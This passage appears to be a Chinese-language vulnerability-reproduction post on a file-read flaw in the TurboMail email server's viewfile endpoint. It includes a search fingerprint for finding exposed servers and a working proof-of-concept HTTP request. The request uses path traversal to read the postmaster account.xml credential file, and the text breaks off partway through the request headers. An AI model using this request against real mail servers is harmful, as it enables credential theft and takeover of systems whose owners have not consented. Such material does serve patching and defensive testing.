【漏洞复现】TurboMail邮件系统viewfile文件读取漏洞

Nx01 产品简介

        TurboMail邮件系统是广州拓波软件科技有限公司研发的面向企事业单位通信需求而研发的电子邮件服务器系统。

Nx02 漏洞描述

        广州拓波软件科技有限公司TurboMail邮件系统存在viewfile文件读取漏洞，攻击者可通过此漏洞读取账户密码，从而登录后台进一步利用。

Nx03 产品主页

body="maintlogin.jsp" and body="/mailmain?type=logout"

Nx04 漏洞复现

POC1：

GET /viewfile?type=cardpic&mbid=1&msgid=2&logtype=3&view=true&cardid=/accounts/root/postmaster&cardclass=../&filename=/account.xml HTTP/1.1
Host: {
  {Hostname}}
Accept-Encoding: gzip, deflate
Accept-Langua